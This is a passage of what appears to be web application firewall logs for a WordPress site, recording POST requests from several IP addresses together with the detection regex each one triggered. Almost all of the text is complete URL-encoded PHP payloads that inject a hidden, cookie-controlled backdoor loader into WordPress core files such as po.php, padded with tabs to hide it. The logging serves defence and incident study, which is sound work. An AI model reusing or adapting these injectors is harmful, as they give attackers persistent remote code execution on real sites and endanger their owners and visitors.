9%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-length:4286\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF0ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nKC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:51","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:4309\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:53:56","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-length:4286\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH0HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nSE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/po.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B84%252B-83%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78%252B-75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B94-90%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524pgrp%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d768c684%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524ref%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ref%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524ref%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524mrk%2520%253D%2520%25227b77c0f304046c7383b81d9b84883a06%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:59","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-length:3259\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 